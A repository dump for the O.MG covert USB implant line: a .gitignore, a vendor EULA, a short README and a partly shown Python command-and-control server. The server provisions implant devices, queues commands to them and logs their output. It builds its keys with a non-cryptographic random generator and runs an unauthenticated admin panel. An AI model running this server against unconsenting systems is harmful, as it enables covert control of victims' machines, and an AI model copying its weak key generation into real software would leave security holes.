[
  {
    "path": ".gitignore",
    "content": "# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Environments\n.env\n.venv\nenv/\nvenv/\nENV/\nenv.bak/\nvenv.bak/\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n.DS_Store\n*.pem\n\n"
  },
  {
    "path": "LICENSE",
    "content": "SOFTWARE LICENSE AGREEMENT IMPORTANT - PLEASE READ CAREFULLY: THIS END-USER LICENSE AGREEMENT (\"EULA\" OR \"AGREEMENT\") IS A LEGAL AGREEMENT BETWEEN YOU (EITHER AN INDIVIDUAL OR A SINGLE ENTITY) (\"YOU\" OR \"USER\") AND MISCHIEF GADGETS LLC, OF 548 MARKET STREET #61961, SAN FRANCISCO, CALIFORNIA, 94104 (\"OWNER\"). BY USING ANY MISCHIEF GADGETS PRODUCT OR ANY PROPRIETARY SOFTWARE DEVELOPED BY THE OWNER (\"SOFTWARE\"), THE USER, EITHER ON BEHALF OF YOURSELF AS AN INDIVIDUAL OR ON BEHALF OF AN ENTITY AS ITS AUTHORIZED REPRESENTATIVE, AGREES TO ALL OF THE TERMS OF THIS AGREEMENT. BY INSTALLING, COPYING, OR OTHERWISE USING THE SOFTWARE, YOU AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, DO NOT INSTALL OR USE THE PRODUCTS OR SOFTWARE.\n\nGRANT OF LICENSE The SOFTWARE is protected by copyright laws and laws protecting the confidentiality of trade secrets. The SOFTWARE is licensed, not sold. Any supplemental software or software code, provided to the USER as part of support, shall be considered part of the SOFTWARE and subject to the terms and conditions of this AGREEMENT. Subject to the terms of this AGREEMENT, OWNER hereby grants USER a non-transferable license to use the SOFTWARE for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable. USER is solely responsible for compliance with all laws of their locality.\n\nLICENSE RESTRICTIONS The USER may not: (a) Reverse engineer, decompile, or disassemble any portions of the SOFTWARE, or allow others to do so, except and only to the extent that such activity is expressly permitted by applicable law, notwithstanding this limitation; (b) Distribute the SOFTWARE or any derivative works based upon the SOFTWARE, in whole or in part, to any third-party or entity without prior written authorization from the OWNER; (c) Resell, lease, rent, transfer, sub-license, or otherwise transfer rights to the SOFTWARE to any third-party or entity without prior written authorization from the OWNER; (d) Copy, clone, duplicate, or distribute copies of the SOFTWARE from one computer to another, or electronically transfer the SOFTWARE from one computer to another over any public or private network, without prior written authorization from the OWNER; (e) Use the SOFTWARE for any unlawful or unethical purpose or deploy the SOFTWARE to any computer system which the USER has no legal right to access; (f) Attempt in any way to obliterate or destroy the trade secret or copyright notice that is incorporated into and part of the SOFTWARE. The USER must reproduce fully the trade secret or copyright notice in all copies of the SOFTWARE. (g) USE THE SOFTWARE IN ANY APPLICATION WHERE THE SOFTWARE MAY RESULT IN DEATH, PERSONAL INJURY OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE.\n\nTITLE, OWNERSHIP, INTELLECTUAL PROPERTY YOU acknowledge that no title to the SOFTWARE or the intellectual property contained within it is transferred to YOU, the USER. The OWNER retains exclusive ownership of all rights, title and interest in and to the SOFTWARE, source code, and intellectual property. It is understood and agreed that the SOFTWARE, including any accompanying scripts and support files, is copyrighted by the OWNER and may not be reproduced and/or redistributed without the advanced written consent of the OWNER except where expressly permitted under this AGREEMENT. The SOFTWARE is protected by copyright laws, and the USER must treat the SOFTWARE like any other copyrighted material except the USER may install the SOFTWARE as provided by this AGREEMENT. Any rights not expressly granted are reserved by the OWNER.\n\nMAINTENANCE The OWNER shall not be obligated to provide maintenance and/or updates and/or fixes for the SOFTWARE; however, any such maintenance and/or updates and/or fixes provided by the OWNER shall be covered by this AGREEMENT.\n\nEXPORT CONTROL As required by U.S. law, the USER represents and warrants that it: (a) Is not located in a prohibited destination country under U.S. sanctions regulations; (b) Will not export, re-export, or transfer the SOFTWARE to any prohibited destination, entity, or individual without the necessary export license(s) or authorization(s) from the U.S. Government; (c) Will not use or transfer the SOFTWARE for use in any sensitive nuclear, chemical or biological weapons, or missile technology end-uses unless authorized by the U.S. Government by regulation or specific license; (d) Understands and agrees that if it is in the United States and exports or transfers the SOFTWARE to eligible end users, it will comply with U.S. export regulations and laws; and (e) Understands that countries other than the United States may restrict the import, use, or export of encryption products and that it shall be solely responsible for compliance with any such import, use, or export restrictions.\n\nTERMINATION The USER may terminate this AGREEMENT at any time by uninstalling the SOFTWARE and destroying all copies of the SOFTWARE in possession of the USER. This AGREEMENT shall terminate automatically if the USER fails to comply with the terms of this AGREEMENT. Upon termination, the USER must uninstall and destroy all copies of the SOFTWARE and all of its components. TERMINATION OF THIS AGREEMENT SHALL NOT RELIEVE THE USER OF ITS OBLIGATIONS REGARDING THE PROTECTION OF COPYRIGHTS AND TRADE SECRETS RELATING TO THE PRODUCT.\n\nDISCLAIMER OF WARRANTY THE OWNER EXPRESSLY DISCLAIMS ANY WARRANTY FOR THE SOFTWARE. THE SOFTWARE IS PROVIDED \"AS IS\" AND WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE OWNER DISCLAIMS ALL WARRANTIES, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. THE OWNER DOES NOT WARRANT OR ASSUME RESPONSIBILITY FOR THE ACCURACY OR COMPLETENESS OF ANY INFORMATION, TEXT, GRAPHICS, LINKS, OR OTHER ITEMS CONTAINED WITHIN THE SOFTWARE. THE OWNER MAKES NO WARRANTIES RESPECTING ANY HARM THAT MAY BE CAUSED BY THE TRANSMISSION OF A COMPUTER VIRUS, WORM, OR OTHER SUCH COMPUTER PROGRAM. THE OWNER FURTHER EXPRESSLY DISCLAIMS ANY WARRANTY OR REPRESENTATION TO USER OR TO ANY THIRD PARTY.\n\nLIMITATION OF LIABILITY THE ENTIRE RISK ARISING OUT OF THE USE AND/OR PERFORMANCE OF THE PRODUCT AND/OR DOCUMENTATION REMAINS WITH THE USER TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, AND IN NO EVENT SHALL THE OWNER BE LIABLE FOR ANY CONSEQUENTIAL, INCIDENTAL, DIRECT, INDIRECT, SPECULATIVE, PUNITIVE, OR OTHER DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) ARISING OUT OF THIS AGREEMENT OR THE USE OF OR INABILITY TO USE THE PRODUCT, EVEN IF THE OWNER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE OWNER SHALL HAVE NO LIABILITY WITH RESPECT OF THE CONTENT OF THE SOFTWARE OR ANY PART THEREOF, INCLUDING BUT NOT LIMITED TO ERRORS OR OMISSIONS CONTAINED THEREIN, LIBEL, INFRINGEMENTS OF RIGHTS OF PUBLICITY, PRIVACY, TRADEMARK RIGHTS, BUSINESS INTERRUPTION, PERSONAL INJURY, LOSS OF PRIVACY, MORAL RIGHTS OR THE DISCLOSURE OF CONFIDENTIAL INFORMATION. ANY LIABILITY OF THE OWNER SHALL BE EXCLUSIVELY LIMITED TO THE PRODUCT REPLACEMENT OR RETURN OF THE PURCHASE/LICENSING PRICE. NO OTHER ADVERTISING, DESCRIPTION OR REPRESENTATION, WHETHER OR NOT MADE BY THE OWNER OR THE OWNER'S DEALER, DISTRIBUTOR, AGENT OR EMPLOYEE, SHALL BE BINDING UPON THE OWNER OR SHALL CHANGE THE TERMS OF THIS WARRANTY.\n\nUSER REMEDIES The OWNER'S entire liability and YOUR exclusive remedy shall be, at the OWNER's option, either (a) return of the price paid, or (b) replacement of the SOFTWARE.\n\nGOVERNING LAW This AGREEMENT shall be governed by and construed in accordance with the laws of the State of California.\n\nENTIRE AGREEMENT This AGREEMENT constitutes the entire understanding between the OWNER and the USER. The USER agrees that this is the entire agreement between the USER and the OWNER, and supersedes any prior agreement, whether written or oral, and all other communications between the OWNER and the USER relating to the subject matter of this AGREEMENT and cannot be altered or modified, except in writing.\n\nRESERVATION OF RIGHTS All rights not expressly granted under this AGREEMENT are reserved entirely to the OWNER.\n\nHEADINGS AND CAPTIONS The captions of this AGREEMENT are for convenience and reference only, and in no way define or limit the intent, rights, or obligations of the parties hereunder. Additionally, any heading preceding the text of any of the paragraphs in this AGREEMENT are inserted solely for convenience of reference and shall not constitute a part of the AGREEMENT, nor shall they affect the meaning, construction or effect of any of the paragraphs of the AGREEMENT.\n\nBINDING EFFECT This AGREEMENT and the terms and conditions of this AGREEMENT shall be binding upon the parties to this AGREEMENT and their respective heirs, personal representatives and assigns.\n\nINTERPRETATION No provision of this AGREEMENT shall be interpreted for or against any party to this AGREEMENT by reason of the fact that the party or his/ her counsel or legal representative drafted all or any part of this AGREEMENT.\n\nATTORNEY'S FEES In any action under this AGREEMENT, the prevailing party shall be entitled to reasonable attorney's fees set by the Court or by arbitration.\n\nSEVERABILITY Should any provision of this AGREEMENT be found, held or deemed to be unenforceable, voidable, or void as contrary to law or public policy under the state of California or other appropriate jurisdiction, the parties intend and agree that the remaining provisions shall nevertheless continue in full force and be binding upon the parties, their heirs, personal representatives, and assigns.\n"
  },
  {
    "path": "README.md",
    "content": "This is for all versions of the O.MG Cable, O.MG Adapter, and O.MG Plug\n\n\n\n# [Setup Instructions & Latest Firmware](https://github.com/O-MG/O.MG-Firmware/wiki)\n\n\n\n<img src=\"https://o.mg.lol/OMGCable-pkg.jpg\" >"
  },
  {
    "path": "c2server/c2server.py",
    "content": "import json\nimport os\nimport random as rnd\nimport socket\nimport sys\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer, SimpleHTTPRequestHandler, ThreadingHTTPServer\nimport threading\nimport urllib.request\nimport re\nfrom urllib.parse import urlparse, parse_qs\nfrom datetime import datetime\nimport monocypher as mono\n\nprovisionFile_ver = 3\nSESSION_LIFESPAN = 120\nserverPort = 8000\nadminPort = 8080\n\ndef get_ip_address():\n    try:\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        s.connect((\"8.8.8.8\", 80))\n        ip_address = s.getsockname()[0]\n        s.close()\n        return ip_address\n    except Exception as e:\n        print(\"Error occurred while getting IP address:\", e)\n        return None\n\n\nip_address = get_ip_address()\nif ip_address:\n    print(\"The computer's current IP address is:\", ip_address)\nelse:\n    print(\"Could not determine the computer's IP address.\")\nhostName = ip_address\n\n\ndef write_c2log(alias, direction, msg):\n    with open(\"c2log\", \"a\") as f:\n        timestamp = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n        f.write(f\"{alias}, {timestamp}, {direction}, {msg}\\n\")\n\nclass c2server(BaseHTTPRequestHandler):\n    def end_headers(self):\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.send_header('Access-Control-Allow-Methods', 'GET,POST')\n        self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n        SimpleHTTPRequestHandler.end_headers(self)\n\n    \n    def do_GET(self):\n        i = self.path.find(\"/C2=\")\n        if i < 0:\n            return\n\n        print(\"------ <GET> ------------------ \", self.path[i:])\n\n        raw_msg = bytearray.fromhex(self.path[i + 4:])\n        msg_size = (len(self.path) - 4) / 2\n        resp = the_host.process_message(raw_msg, msg_size)\n\n        self.send_response(200)\n        if resp is not None:\n            self.wfile.write(bytes(resp.hex(), \"utf-8\"))\n\n    def do_POST(self):\n        length = int(self.headers['Content-Length'])\n        body = self.rfile.read(length)\n        print(f\"------ <POST> ------------------   len: {length}\")\n\n        resp = the_host.process_message(body, length)\n\n        if resp is not None:\n            self.wfile.write(bytes(resp.hex(), \"utf-8\"))\n\n\nclass c2admin(SimpleHTTPRequestHandler):\n    def end_headers(self):\n        self.send_header('Access-Control-Allow-Origin', '*')\n        self.send_header('Access-Control-Allow-Methods', 'GET,POST')\n        self.send_header('Access-Control-Allow-Headers', 'Content-Type')\n        SimpleHTTPRequestHandler.end_headers(self)\n\n    def handle_C2admin(self):\n        with open(\"c2config\", \"r\") as f:\n            content = f.read()\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(content.encode(\"utf-8\"))\n        \n    def handle_C2log(self, alias=None, abridge=True):\n        if os.path.exists(\"c2log\"):\n            with open(\"c2log\", \"r\") as f:\n                lines = f.readlines()\n        \n            if alias is not None:\n                lines = [line for line in lines if line.startswith(alias)]\n                \n            if abridge:\n                lines = [line for line in lines if not re.search(r'.*, out, \\n', line)]\n        \n            content = \"\".join(lines)\n        \n            self.send_response(200)\n            self.send_header(\"Content-type\", \"text/csv\")\n            self.end_headers()\n            self.wfile.write(content.encode(\"utf-8\"))\n        else:\n            log(\"No c2log file exists.\")\n            with open(\"c2log\", 'w') as f:\n                f.write(\"\")\n\n    def do_GET(self):\n                url = urlparse(self.path)\n                query_params = parse_qs(url.query)\n                alias = query_params.get('alias', [None])[0]\n                abridge = query_params.get('abridge', [False])[0]\n                        \n                if url.path == \"/C2admin\":\n                    self.handle_C2admin()\n                elif url.path == \"/C2log\":\n                    self.handle_C2log(alias, abridge)\n                elif url.path == \"/\" or url.path == \"/index.html\":\n                    self.path = \"/index.html\"\n                    super().do_GET()\n                else:\n                    self.send_response(404)\n                    self.end_headers()\n    \n    def do_POST(self):\n        if self.path == \"/C2admin\":\n            content_len = int(self.headers.get(\"Content-Length\"))\n            body = self.rfile.read(content_len)\n            body_decoded = body.decode(\"utf-8\")\n            body_data = json.loads(body.decode(\"utf-8\"))\n            alias = body_data.get(\"alias\", \"\")\n            action = body_data.get(\"action\", \"\")\n            data = body_data.get(\"data\", \"\")\n        \n            commands = [\n                \"CI\",\n                \"CV\",\n                \"CWInfo\",\n                \"CNGet\",\n                \"CTList\",\n                \"CFList\",\n                \"CWStatus\",\n                \"CEStatus\",\n                \"CLStatus\",\n                \"CHStatus\",\n                \"C2Status\",\n                \"C2Info\"\n            ]\n        \n            client_id = next((device[\"client_id\"] for device in config.devices if device[\"alias\"] == alias), None)\n            client = the_host.clients.get(client_id)\n            if client and action == \"queueAdd\":\n                if data not in client.cmd_queue:\n                    client.cmd_queue.append(data)\n                    config.save_provision_files()\n                self.send_response(200)\n                self.end_headers()\n            elif client and action == \"queueDelete\":\n                try:\n                    data_int = int(data)\n                    log(data_int)\n                    client.cmd_queue.pop(data_int)\n                    config.save_provision_files()\n                    self.send_response(200)\n                    self.end_headers()\n                except (ValueError, IndexError):\n                    self.send_response(400)\n                    self.end_headers()\n            elif client and action == \"queueClear\":\n                client.cmd_queue = []\n                config.save_provision_files()\n                self.send_response(200)\n                self.end_headers()\n            elif client and action == \"logClear\":\n                print(alias);\n                if alias == \"clearAllLogs\":\n                    with open(\"c2log\", \"w\") as f:\n                        f.write(\"\")\n        \n                    for device_client in the_host.clients.values():\n                        device_client.cmd_queue = commands + device_client.cmd_queue\n                else:\n                    with open(\"c2log\", \"r\") as f:\n                        lines = f.readlines()\n                    lines = [line for line in lines if not line.startswith(alias)]\n                    with open(\"c2log\", \"w\") as f:\n                        f.writelines(lines)\n        \n                    client.cmd_queue = commands + client.cmd_queue\n        \n                config.save_provision_files()\n                self.send_response(200)\n                self.end_headers()\n            elif client and action == \"logClearAll\":\n                with open(\"c2log\", \"w\") as f:\n                    f.write(\"\")\n                \n                for device_client in the_host.clients.values():\n                    device_client.cmd_queue = commands + device_client.cmd_queue\n                \n                config.save_provision_files()\n                self.send_response(200)\n                self.end_headers()\n            elif client and action == \"pollInterval\":\n                alias = body_data.get(\"alias\", \"\")\n                data = body_data.get(\"data\", {})\n            \n                matching_device = next((device for device in config.devices if device[\"alias\"] == alias), None)\n                if matching_device is not None:\n                    for key in [\"poll_seconds\", \"fast_seconds\", \"contact_seconds\"]:\n                        if key in data:\n                            matching_device[key] = data[key]\n                            \n                config.save_provision_files()\n                self.send_response(200)\n                self.end_headers()\n            else:\n                self.send_response(400)\n                self.end_headers()\n        else:\n            super().do_POST()\n\n\nclass Host:\n    session_count = 0\n    clients = {}\n    sessions = {}\n\n    class ClientData:\n        def __init__(self, client_id, alias, client_exchange_key, cmd_queue):\n            self.client_id = client_id\n            self.alias = alias\n            self.exchange_key = client_exchange_key\n            self.cmd_queue = cmd_queue if cmd_queue else [\n                \"CI\",\n                \"CV\",\n                \"CWInfo\",\n                \"CNGet\",\n                \"CTList\",\n                \"CFList\",\n                \"CWStatus\",\n                \"CEStatus\",\n                \"CLStatus\",\n                \"CHStatus\",\n                \"C2Status\",\n                \"C2Info\"\n            ]\n\n    class SessionData:\n        def __init__(self, session_id, session_key, client_id, device_id, expires, interface_version):\n            self.session_id = session_id\n            self.session_key = session_key\n            self.client_id = client_id\n            self.device_id = device_id\n            self.expires = expires\n            self.ver = interface_version\n            self.msg_count = 0\n            self.next_cmd = 0\n\n    def __init__(self, host_private_key, host_public_key):\n        self.host_private_key = bytes.fromhex(host_private_key) if host_private_key else None\n        self.public_key = bytes.fromhex(host_public_key) if host_public_key else None\n        self.session_lifespan = SESSION_LIFESPAN\n\n        config = c2config(self.public_key, self.host_private_key, ip_address, serverPort, adminPort)\n\n        for device in config.devices:\n            client_id = device['client_id']\n            alias = device['alias']\n            client_public_key = bytes.fromhex(device['client_public_key'])\n            client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)\n            cmd_queue = device.get('cmd_queue', None)\n            client = self.ClientData(client_id, alias, client_exchange_key, cmd_queue)\n            self.clients[client_id] = client\n\n    def provision(self, alias, poll_seconds, fast_seconds, contact_seconds):\n        global config\n\n        for device in config.devices:\n            if device['alias'] == alias:\n                print(f\"Warning: Existing Device Alias {alias} already exists. Provisioning did not continue.\")\n                return\n\n        self.session_count += 1\n        client_id = rnd.randint(0, 1000000)\n        client_secret_key = gen_random(32)\n        client_public_key = mono.compute_key_exchange_public_key(client_secret_key)\n        client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)\n        client = self.ClientData(client_id, alias, client_exchange_key, None)\n        self.clients[client_id] = client\n\n        provision_data = {\n            'alias': alias,\n            'client_id': client_id,\n            'client_public_key': client_public_key.hex(),\n            'poll_seconds': poll_seconds,\n            'fast_seconds': fast_seconds,\n            'contact_seconds': contact_seconds\n        }\n\n        config.devices.append(provision_data)\n        config.save_provision_files()\n\n        log(\"Provisioned  [{}]   alias: {}\".format(client_id, alias))\n\n        print(f\"---------- Provision-file: {alias} ----------\")\n        device_config = f\"host_pk = {self.public_key.hex()},host_url = {hostName},host_port = {serverPort},host_path = \\\"\\\",client_id = {client_id},client_sk = {client_secret_key.hex()},poll_rate = {poll_seconds},fast_rate = {fast_seconds},contact_rate = {contact_seconds}\"\n        print(device_config)\n        print('\\n\\nPlease copy the above Provision-file, log into your O.MG Elite Device’s WebUI, go to Settings -> Net -> C2Config and paste the results, and then press \"Change Settings” to apply.')\n    def make_err_msg(self, err_code, err_text):\n        print(\"***** Sending Error \", err_code, err_text)\n        wrapper = MsgWrapper(109, err_code)\n        return wrapper.secure_msg()\n\n    def handle_hello(self, hello_msg, client):\n        print(\"<<<<< Hello Msg >>>>>\")\n        client_id = client.client_id\n        device_id = hello_msg.plain_msg[4:10]\n        ver = 1\n        if hello_msg.msg_size > 10:\n            ver = int.from_bytes(hello_msg.plain_msg[10:11], 'little')\n    \n        for key in self.sessions:\n            session = self.sessions[key]\n            if session.client_id == client_id and session.device_id == device_id:\n                del (self.sessions[key])\n                break\n    \n        session_key = gen_random(32)\n        not_unique = True\n        while not_unique:\n            session_id = rnd.randint(0, 1000000)\n            not_unique = session_id in self.sessions\n        expires = int(time.time()) + self.session_lifespan + 5\n        self.sessions[session_id] = self.SessionData(session_id, session_key, client_id, device_id, expires, ver)\n        print(f\"Session id: {session_id}, ver: {ver}, key: {session_key.hex()}\")\n    \n        # Fetch the per-device values from the c2config device entry with the matching client_id\n        matching_device = next((device for device in config.devices if device[\"client_id\"] == client.client_id), None)\n        if matching_device is not None:\n            poll_seconds = matching_device.get(\"poll_seconds\", self.session_lifespan)\n            fast_seconds = matching_device.get(\"fast_seconds\", self.session_lifespan)\n            contact_seconds = matching_device.get(\"contact_seconds\", poll_seconds)\n        else:\n            poll_seconds = fast_seconds = contact_seconds = self.session_lifespan\n        \n        \n        plain_resp = HelloResponse(session_id, session_key, self.session_lifespan, poll_seconds, fast_seconds, contact_seconds)\n        resp = MsgWrapper(101, plain_resp.text, len(plain_resp.text))\n        resp.encrypt(client.exchange_key)\n        wrapped_msg = resp.secure_msg()\n        print(\"   secure msg: \", wrapped_msg.hex())\n        return wrapped_msg\n\n    def handle_poll(self, poll_msg, session):\n        seq_no = int.from_bytes(poll_msg.plain_msg[4:8], 'little')\n        script_status = int.from_bytes(poll_msg.plain_msg[8:9], 'little')\n        print(f\"<<<<< Poll Msg #{seq_no} - SS: {script_status}>>>>>\")\n\n        client = self.clients[session.client_id]\n\n        if len(client.cmd_queue) == 0:\n            cmd = \"\"\n        else:\n            cmd = client.cmd_queue[session.next_cmd % len(client.cmd_queue)]\n\n        cmd_len = len(cmd)\n        if cmd_len == 0:\n            is_more = 0\n        else:\n            is_more = 1\n        if cmd.startswith(\"CE\") and not cmd.startswith(\"CEStatus\"):\n            if session.ver > 1 and script_status != 0:\n                cmd = \"\"\n            else:\n                session.next_cmd += 1\n        else:\n            session.next_cmd += 0\n\n        if len(cmd):\n            print(f\">>>>> Running command {cmd}\")\n        else:\n            print(\">>>>> Idle  (No command sent)\")\n\n        msg = CommandMsg(seq_no, bytes(cmd, \"utf-8\"), is_more)\n        resp = MsgWrapper(102, msg.text, len(msg.text))\n        resp.encrypt(session.session_key)\n        wrapped_msg = resp.secure_msg()\n\n        client = self.clients[session.client_id]\n        write_c2log(client.alias, \"out\", cmd)\n\n        return wrapped_msg\n\n    def handle_response(self, command_response, session):\n        seq_no = int.from_bytes(command_response.plain_msg[0:4], 'little')\n        resp_size = int.from_bytes(command_response.plain_msg[4:6], 'little')\n        cmd_offset = 7\n        \n        try:\n            response = command_response.plain_msg[7:].decode('utf-8')\n        except UnicodeDecodeError:\n            hex_response = command_response.plain_msg[7:].hex()\n            split_hex = hex_response.split(\"09\", 1)\n            if len(split_hex) > 1:\n                try:\n                    first_part = bytes.fromhex(split_hex[0]).decode('utf-8')\n                    response = first_part + '\\t' + split_hex[1]\n                except UnicodeDecodeError:\n                    response = hex_response\n            else:\n                response = hex_response\n        \n        print(f\"<<<<< Output for #{seq_no} >>>>>   size: {resp_size} ({len(command_response.plain_msg[7:])})\")\n        print(response)\n        \n        client = self.clients[session.client_id]\n        write_c2log(client.alias, \"in \", response)\n        \n        cmd = client.cmd_queue.pop(0)  # Remove the cmd from the cmd_queue\n        config.save_provision_files()\n\n    def handle_error(self, err_msg, session):\n        log(\"Device error: \" + err_msg.plain_text)\n\n    def process_message(self, raw_msg, raw_len):\n        if raw_len < 47:\n            return self.make_err_msg(101, \"Bad message, too short\")\n\n        msg = MsgWrapper(raw_msg)\n\n        if msg.msg_type == 1:\n            if msg.id not in self.clients:\n                return self.make_err_msg(102, \"Unknown client-id\")\n            client = self.clients[msg.id]\n            key = client.exchange_key\n        else:\n            if msg.id not in self.sessions:\n                config.load_provision_files()\n                return self.make_err_msg(103, \"Unknown session-id\")\n            session = self.sessions[msg.id]\n            if session.expires < int(time.time()):\n                return self.make_err_msg(104, \"Session has expired\")\n            key = session.session_key\n\n        if not msg.decrypt(key):\n            return self.make_err_msg(105, \"Invalid encryption\")\n\n        if msg.msg_type == 1:\n            return self.handle_hello(msg, client)\n        if msg.msg_type == 2:\n            return self.handle_poll(msg, session)\n        elif msg.msg_type == 3:\n            return self.handle_response(msg, session)\n        elif msg.msg_type == 9:\n            return self.handle_error(msg, session)\n\n        return self.make_err_msg(106, \"Unknown message-type\")\n\n\nclass HelloResponse:\n    def __init__(self, session_id, session_key, expiry, poll_seconds, fast_seconds, contact_seconds):\n        self.text = bytearray()\n        self.text.extend(session_id.to_bytes(4, 'little'))\n        self.text.extend(expiry.to_bytes(4, 'little'))\n        self.text.extend(session_key)\n        self.text.extend(poll_seconds.to_bytes(4, 'little'))\n        self.text.extend(fast_seconds.to_bytes(4, 'little'))\n        self.text.extend(contact_seconds.to_bytes(4, 'little'))\n\nclass CommandMsg:\n    def __init__(self, seq, command, is_more):\n        cmd_len = len(command)\n        self.text = bytearray()\n        self.text.extend(seq.to_bytes(4, 'little'))\n        self.text.extend(cmd_len.to_bytes(2, 'little'))\n        self.text.extend(is_more.to_bytes(1, 'little'))\n        self.text.extend(command)\n        print(\"   is_more: \", is_more)\n\n\nclass MsgWrapper:\n    def __init__(self, *args):\n        if len(args) == 1:\n            msg = args[0]\n            self.msg_type = msg[0]\n            self.id = int.from_bytes(msg[1:5], 'little')\n            self.nonce = msg[5:29]\n            self.mac = msg[29:45]\n            if self.msg_type != 9:\n                self.msg_size = int.from_bytes(msg[45:47], 'little')\n                self.err_code = 0\n            else:\n                self.err_code = int.from_bytes(msg[45:47], 'little')\n                self.msg_size = 0\n            self.encoded = msg[47:47 + self.msg_size]\n            self.plain_msg = None\n        else:\n            self.msg_type = args[0]\n            self.id = 0\n            self.nonce = None\n            self.mac = None\n            self.encoded = None\n            if len(args) == 2:\n                self.err_code = args[1]\n                self.msg_size = 0\n            else:\n                self.plain_msg = args[1]\n                self.msg_size = args[2]\n                self.err_code = 0\n\n    def encrypt(self, key):\n        if self.msg_type == 109:\n            return\n\n        self.nonce = gen_random(24)\n        self.mac, self.encoded = mono.lock(key, self.nonce, self.plain_msg)\n\n    def decrypt(self, key):\n        if self.msg_type == 9:\n            return\n\n        self.plain_msg = mono.unlock(key, self.nonce, self.mac, self.encoded)\n        if self.plain_msg is None:\n            print(\"   Decrypt failed\")\n            return False\n        return True\n\n    def secure_msg(self):\n        msg = bytearray()\n        msg.extend(self.msg_type.to_bytes(1, 'little'))\n        msg.extend(self.id.to_bytes(4, 'little'))\n        if self.msg_type == 9 or self.msg_type == 109:\n            msg.extend(bytearray(40))\n            msg.extend(self.err_code.to_bytes(2, 'little'))\n        else:\n            msg.extend(self.nonce)\n            msg.extend(self.mac)\n            msg.extend(self.msg_size.to_bytes(2, 'little'))\n            msg.extend(self.encoded)\n        return msg\n\n\ndef log(err_text):\n    print(\"<LOG> \", err_text)\n\n\ndef gen_random(size):\n    return bytes(rnd.randint(0, 255) for _ in range(size))\n\n\nclass c2config:\n    def __init__(self, host_public_key, host_private_key, host_url, host_port, admin_port):\n        self.host_public_key = host_public_key\n        self.host_private_key = host_private_key\n        self.host_url = host_url\n        self.host_port = host_port\n        self.admin_port = admin_port\n        self.devices = []\n\n        if os.path.exists(\"c2config\"):\n            self.load_provision_files()\n        else:\n            print(\"No c2config file exists.\")\n            print('You must provision an O.MG Elite Device before you can use.\\n\\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\\n')\n            self.host_private_key = gen_random(32).hex()  # Generate host private key\n            self.host_public_key = mono.compute_key_exchange_public_key(\n                bytes.fromhex(self.host_private_key)).hex()  # Compute host public key\n            self.save_provision_files()  # Save the generated keys\n\n    def save_provision_files(self):\n        devices_with_cmd_queue = []\n        for device in self.devices:\n            client = the_host.clients[device['client_id']]\n            device_with_cmd_queue = device.copy()\n            device_with_cmd_queue['cmd_queue'] = client.cmd_queue\n            devices_with_cmd_queue.append(device_with_cmd_queue)\n\n        config_data = {\n            'host_public_key': self.host_public_key,\n            'host_private_key': self.host_private_key,\n            'host_url': self.host_url,\n            'host_port': self.host_port,\n            'admin_port': self.admin_port,\n            'devices': devices_with_cmd_queue\n        }\n        with open(\"c2config\", 'w') as f:\n            json.dump(config_data, f, indent=4)\n\n    def load_provision_files(self):\n        try:\n            with open(\"c2config\", 'r') as f:\n                if os.path.getsize(\"c2config\") == 0:\n                    self.devices = []\n                else:\n                    config_data = json.load(f)\n                    self.host_public_key = config_data['host_public_key']\n                    